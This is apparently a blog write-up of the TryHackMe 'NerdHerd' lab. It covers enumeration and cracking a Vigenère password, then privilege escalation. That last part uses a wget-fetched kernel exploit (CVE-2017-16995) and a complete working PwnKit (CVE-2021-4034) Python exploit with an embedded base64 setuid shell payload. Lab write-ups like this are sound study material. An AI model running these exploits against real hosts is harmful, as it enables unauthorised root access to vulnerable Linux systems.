DEV Community

Cover image for TryHackMe - NerdHerd writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe - NerdHerd writeup

Platform: TryHackMe

Difficulty: Easy

OS: Linux


Reconnaissance

Nmap

nmap -sC -sV -p- -A MACHINE_IP -oA nmap
Enter fullscreen mode Exit fullscreen mode

Open ports:

  • 21/tcp — vsftpd 3.0.3 (Anonymous FTP allowed)
  • 22/tcp — OpenSSH 7.2p2 (Ubuntu)
  • 139/445/tcp — Samba 4.3.11-Ubuntu (hostname: NERDHERD)
  • 1337/tcp — Apache 2.4.18 (Ubuntu)

Hostname revealed via NetBIOS: NERDHERD.


Enumeration

FTP — Anonymous Login

Anonymous FTP was open. The pub/ directory contained a hidden folder .jokesonyou with hellon3rd.txt:

all you need is in the leet
Enter fullscreen mode Exit fullscreen mode

Also present was youfoundme.png. Running exiftool on it revealed an interesting EXIF field:

Owner Name : fijbxslz
Enter fullscreen mode Exit fullscreen mode

This looked like a Vigenère-ciphered string.

Web — Port 1337

The default Apache page at http://MACHINE_IP:1337 contained hidden HTML comments hinting to keep digging. A linked YouTube video — "Surfin' Bird" by The Trashmen — holds the key phrase: "bird is the word".

Directory brute-forcing found /admin/, which served a login page. The page source contained two Base64-encoded strings:

echo 'Y2liYXJ0b3dza2k=' | base64 -d
# cibartowski

echo 'aGVoZWdvdTwdasddHlvdQ==' | base64 -d
# hehegou (invalid/decoy)
Enter fullscreen mode Exit fullscreen mode

These turned out to be rabbit holes.

Vigenère Cipher

The Vigenère cipher is a polyalphabetic substitution cipher where each plaintext character is shifted by the value of the corresponding key character. Decryption reverses this: for each position, subtract the key character's index from the ciphertext character's index, modulo 26. The key repeats cyclically to cover the full ciphertext length.

The EXIF Owner Name field contained fijbxslz — 8 random-looking lowercase characters with no dictionary meaning, a strong indicator of encryption or encoding. The YouTube link embedded in the web page (/icons/ubuntu-logo.png comment area) pointed to "Surfin' Bird" by The Trashmen, whose defining lyric is "bird is the word". Stripping spaces gives the candidate key: birdistheword.

Applying Vigenère decryption with key birdistheword (only the first 8 characters birdisth are used since the ciphertext is 8 chars long):

Position Ciphertext Key char CT index - Key index (mod 26) Plaintext
0 f (5) b (1) 4 e
1 i (8) i (8) 0 a
2 j (9) r (17) 18 s
3 b (1) d (3) 24 y
4 x (23) i (8) 15 p
5 s (18) s (18) 0 a
6 l (11) t (19) 18 s
7 z (25) h (7) 18 s
Ciphertext : f  i  j  b  x  s  l  z
Key        : b  i  r  d  i  s  t  h   (first 8 of "birdistheword")
Plaintext  : e  a  s  y  p  a  s  s
Enter fullscreen mode Exit fullscreen mode

This was decoded using CyberChef (Vigenère Decode operation) with key birdistheword.

SMB Enumeration

nxc smb MACHINE_IP -u '' -p '' --users
Enter fullscreen mode Exit fullscreen mode

One user found: chuck (full name: ChuckBartowski).

Accessing the nerdherd_classified share with discovered credentials:

smbclient //MACHINE_IP/nerdherd_classified -U chuck%easypass
smb: \> get secr3t.txt
Enter fullscreen mode Exit fullscreen mode

Contents of secr3t.txt:

Ssssh! don't tell this anyone because you deserved it this far:
        check out "/this1sn0tadirect0ry"
Enter fullscreen mode Exit fullscreen mode

Hidden Web Directory

curl http://MACHINE_IP:1337/this1sn0tadirect0ry/creds.txt
Enter fullscreen mode Exit fullscreen mode
alright, enough with the games.

here, take my ssh creds:

        chuck : th1s41ntmypa5s
Enter fullscreen mode Exit fullscreen mode

Initial Access

ssh chuck@MACHINE_IP
Enter fullscreen mode Exit fullscreen mode
chuck@nerdherd:~$ cat user.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Privilege Escalation

Enumeration

sudo -l
# Sorry, user chuck may not run sudo on nerdherd.

uname -r
# 4.4.0-31-generic
Enter fullscreen mode Exit fullscreen mode

No sudo rights. Kernel 4.4.0-31-generic is vulnerable to CVE-2017-16995 — a BPF verifier bypass affecting Linux < 4.13.9 on Ubuntu 16.04.

CVE-2017-16995 — Kernel LPE (EDB-45010)

On the attacker machine:

searchsploit -m 45010
python3 -m http.server 80
Enter fullscreen mode Exit fullscreen mode

On the target:

cd /tmp
wget http://YOUR_IP/45010.c
gcc 45010.c -o pwn
./pwn
Enter fullscreen mode Exit fullscreen mode
[*] credentials patched, launching shell...
# whoami
root
Enter fullscreen mode Exit fullscreen mode

Alternative: CVE-2021-4034 — Polkit pkexec LPE

The target also runs pkexec version 0.105 on kernel 4.4.0-31-generic, making it vulnerable to CVE-2021-4034 (PwnKit). This Python PoC abuses a NULL argv passed to execve() combined with a GCONV_PATH environment variable trick to load a malicious shared library as root.

Save the following as e.py in /tmp on the target:

#!/usr/bin/env python3
# CVE-2021-4034 — pkexec LPE (PwnKit)
import base64, os, sys
from ctypes import *
from ctypes.util import find_library

# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
# PrependSetuid=true is critical — without it you get a shell as current user, not root
payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

environ = [
    b'exploit',
    b'PATH=GCONV_PATH=.',
    b'LC_MESSAGES=en_US.UTF-8',
    b'XAUTHORITY=../LOL',
    None
]

libc = CDLL(find_library('c'))

print('[+] Creating shared library for exploit code.')
with open('payload.so', 'wb') as f:
    f.write(payload)
os.chmod('payload.so', 0o0755)

try:
    os.mkdir('GCONV_PATH=.')
except FileExistsError:
    pass

with open('GCONV_PATH=./exploit', 'wb') as f:
    f.write(b'')
os.chmod('GCONV_PATH=./exploit', 0o0755)

try:
    os.mkdir('exploit')
except FileExistsError:
    pass

with open('exploit/gconv-modules', 'wb') as f:
    f.write(b'module  UTF-8//    INTERNAL    ../payload    2\n')

environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)
Enter fullscreen mode Exit fullscreen mode

Run it:

cd /tmp
python3 e.py
Enter fullscreen mode Exit fullscreen mode
[+] Creating shared library for exploit code.
[+] Calling execve()
# whoami
root
Enter fullscreen mode Exit fullscreen mode

The exploit passes NULL as argv to execve() against pkexec, which mishandles the missing argument count and loads an attacker-controlled shared library via the GCONV_PATH environment variable trick, executing the embedded ELF payload with root privileges.

Finding the Real Flag

# cat /root/root.txt
# cmon, wouldnt it be too easy if i place the root flag here?

# find / -type f -name "*.txt" 2>/dev/null
# ...
# /opt/.root.txt  ← real flag

# cat /opt/.root.txt
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

The root.txt in /root is a decoy; the actual flag is at /opt/.root.txt.


Summary

NerdHerd is a multi-stage easy room with a CTF puzzle feel. The chain involves extracting a Vigenère-ciphered password from image EXIF metadata, resolving the key from a YouTube easter egg, enumerating SMB to find a username, then retrieving SSH credentials from a hidden web directory. Privilege escalation exploits an unpatched kernel (CVE-2017-16995) via BPF verifier bypass. The room adds a decoy root flag to reward thorough enumeration.


Key Vulnerabilities

# Vulnerability Impact
1 Anonymous FTP exposing image with EXIF data Information disclosure
2 Vigenère-encoded password in EXIF Owner Name field Credential discovery
3 SMB null session user enumeration Username disclosure (chuck)
4 Hardcoded SSH creds in hidden web directory Initial access as chuck
5 CVE-2017-16995 — Linux kernel < 4.13.9 BPF LPE Root shell
6 CVE-2021-4034 — pkexec NULL argv + GCONV_PATH LPE (PwnKit) Root shell (alternative path)

Attack Chain

Anonymous FTP → youfoundme.png
        │
        ▼
exiftool → Owner Name: fijbxslz (Vigenère ciphertext)
Web page YouTube link → key: "birdistheword"
Vigenère decrypt → "easypass"
        │
        ▼
SMB null session → user: chuck
smbclient //MACHINE_IP/nerdherd_classified -U chuck%easypass
→ secr3t.txt → hint: /this1sn0tadirect0ry
        │
        ▼
curl MACHINE_IP:1337/this1sn0tadirect0ry/creds.txt
→ chuck:th1s41ntmypa5s
        │
        ▼
SSH login → user.txt
        │
        ▼
uname -r: 4.4.0-31-generic → CVE-2017-16995 (EDB-45010)
gcc 45010.c -o pwn && ./pwn → root shell
        │
        ▼
/opt/.root.txt (real flag — /root/root.txt is a decoy)
Enter fullscreen mode Exit fullscreen mode

Tools Used

Tool Purpose
Nmap Port scanning and service enumeration
ftp / smbclient Anonymous FTP and SMB share access
NetExec (nxc) SMB null session user enumeration
exiftool EXIF metadata extraction
CyberChef Vigenère decryption
dirsearch Web directory brute-forcing
curl HTTP endpoint inspection
GCC Compiling CVE-2017-16995 exploit
CVE-2017-16995 (EDB-45010) Kernel privilege escalation
CVE-2021-4034 Python PoC pkexec privilege escalation (alternative)

Top comments (0)